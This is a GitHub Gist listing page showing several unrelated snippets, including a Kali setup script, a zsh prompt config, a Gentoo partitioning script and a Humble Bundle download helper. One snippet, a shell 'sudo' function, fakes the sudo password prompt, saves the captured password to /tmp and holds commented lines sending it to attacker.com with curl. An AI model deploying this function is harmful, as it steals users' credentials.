Skip to content

Instantly share code, notes, and snippets.

View TheLurps's full-sized avatar

Joshua Schraven TheLurps

View GitHub Profile
@TheLurps
TheLurps / setup.sh
Last active April 12, 2021 09:52
My setup script for Kali machines
#!/bin/bash
# Install various packages
sudo apt update && sudo apt upgrade -y
sudo apt install -y git tmux neovim nodejs npm python3-pip payloadsallthethings fzf
sudo npm install -g eslint-cli js-beautify
pip install --user pylint yapf isort
# Install and configure SpaceVim
curl -sLf https://spacevim.org/install.sh | bash
# Luke's config for the Zoomer Shell
# Enable colors and change prompt:
autoload -U colors && colors
PS1="%B%{$fg[red]%}[%{$fg[yellow]%}%n%{$fg[green]%}@%{$fg[blue]%}%M %{$fg[magenta]%}%~%{$fg[red]%}]%{$reset_color%}$%b "
# History in cache directory:
HISTSIZE=10000
SAVEHIST=10000
HISTFILE=~/.cache/zsh/history
@tokyoneon
tokyoneon / sudo
Last active December 8, 2024 03:59
Sudo function for stealing Linux passwords
function sudo ()
{
# https://null-byte.com/privesc-0194190/
realsudo="$(which sudo)";
read -s -p "[sudo] password for $USER: " inputPasswd;
printf "\n";
printf '%s\n' "$USER : $inputPasswd" > /tmp/hackedPasswd.txt;
# encoded=$(printf '%s' "$inputPasswd" | base64) > /dev/null 2>&1;
# curl -s "http://attacker.com/$USER:$encoded" > /dev/null 2>&1;
$realsudo -S -u root bash -c "exit" <<< "$inputPasswd" > /dev/null 2>&1;
@renich
renich / 00-gentoo-installation-partitioning.bash
Last active October 18, 2025 18:25
Install Gentoo on BtrFS subvolumes + UEFI
#!/usr/bin/env bash
# WARNING!!
# This will obliterate all the data in your partition!! (not actually true, but act as if it was)
# Do NOT execute this script if you don't fully understand it!
# a few vars
amount_of_swap=$( free --si -g | grep Mem: | gawk '{ print $2 + 1}' )
# create directories
@mauriciopoppe
mauriciopoppe / _README.md
Last active November 8, 2025 11:14
Generic Makefile example for a C++ project
@graymouser
graymouser / hb_all_books_dl.js
Created February 28, 2016 14:09
Humble bundle book bundles - download all books at once
/*
After purchasing a humble book bundle, go to your download page for that bundle.
Open a console window for the page and paste in the below javascript
*/
$('a').each(function(i){
if ($.trim($(this).text()) == 'MOBI') {
$('body').append('<iframe id="dl_iframe_'+i+'" style="display:none;">');
document.getElementById('dl_iframe_'+i).src = $(this).data('web');
}
});